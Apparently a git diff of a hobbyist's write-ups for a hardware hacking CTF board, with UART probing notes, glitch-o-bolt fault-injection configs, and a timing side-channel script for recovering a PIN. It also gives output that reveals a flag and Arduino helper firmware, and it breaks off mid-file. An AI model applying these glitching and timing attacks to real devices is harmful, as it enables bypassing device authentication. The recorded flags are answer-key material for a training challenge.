+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
